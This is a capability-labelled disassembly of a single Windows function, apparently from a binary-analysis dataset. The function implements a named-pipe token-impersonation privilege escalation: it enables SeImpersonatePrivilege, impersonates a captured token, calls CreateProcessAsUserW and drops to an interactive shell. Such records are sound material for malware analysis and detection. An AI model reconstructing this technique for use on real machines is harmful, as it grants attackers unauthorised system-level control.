Function at 0x401a60
Capabilities:
Create process on windows
Create thread
Impersonate user
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xb8
mov eax, dword [0x406004]
xor eax, esp
mov dword [esp + 0xb4], eax
cmp dword [ebp + 8], 1
push esi
mov esi, dword [ebp + 0xc]
push edi
jle 0x401a8e
mov esi, dword [esi + 4]
mov dword [esp + 0xc], esi
jmp 0x401a96
mov dword [esp + 0xc], 0x4048b8
mov eax, dword [0x4048f8]
movups xmm0, xmmword [str.thisispipe]
mov dword [esp + 0x80], eax
mov ax, word [0x4048fc]
mov word [esp + 0x84], ax
lea eax, [esp + 0x14]
push eax
push 0xf01ff
movups xmmword [esp + 0x78], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ecx, dword [esp + 0x14]
mov edx, str.SeImpersonatePrivilege
call fcn.00401cd0
test eax, eax
jne 0x401afa
push str.____Failed_to_enable_privilege__n
call fcn.00401a30
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
lea eax, [esp + 0x78]
push eax
push 0x401dd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x10]
push eax
push 0
push 9
push str.thisisnotvalidpass
push 0x40497c
push 0x404980
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
lea ecx, [esp + 0x70]
call fcn.00401f90
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x1f4
call edi
mov esi, dword [0x406018]
cmp esi, 0xffffffff
je 0x401b50
movups xmm0, xmmword [str.winsta0default]
mov edx, str.SeAssignPrimaryTokenPrivilege
mov ecx, esi
movups xmmword [esp + 0x90], xmm0
movups xmm0, xmmword [0x404ba8]
movups xmmword [esp + 0xa0], xmm0
call fcn.00401cd0
test eax, eax
je 0x401ae5
push 1
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x401bbf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error_CreateEnvironmentBlock_:__d_n
call fcn.00401a30
add esp, 8
jmp 0x401af2
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x90]
movlpd qword [esp + 0x24], xmm0
push esi
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x58], xmm0
mov dword [esp + 0x1c], 0x44
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x401c2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error_ImpersonateLoggedOnUser_:__d_n
call fcn.00401a30
add esp, 8
jmp 0x401af2
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push dword [esp + 0x1c]
push 0x400
push 1
push 0
push 0
push 0
push dword [esp + 0x30]
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x401c70
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error_CreateProcessAsUserW_:__d_n
call fcn.00401a30
add esp, 8
jmp 0x401af2
push str.___Dropping_to_interactive_shell__n_n_n
call fcn.00401a30
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
add esp, 4
push 0xffffffffffffffff
push dword [esp + 0x64]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xbc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.004020e3
mov esp, ebp
pop ebp
ret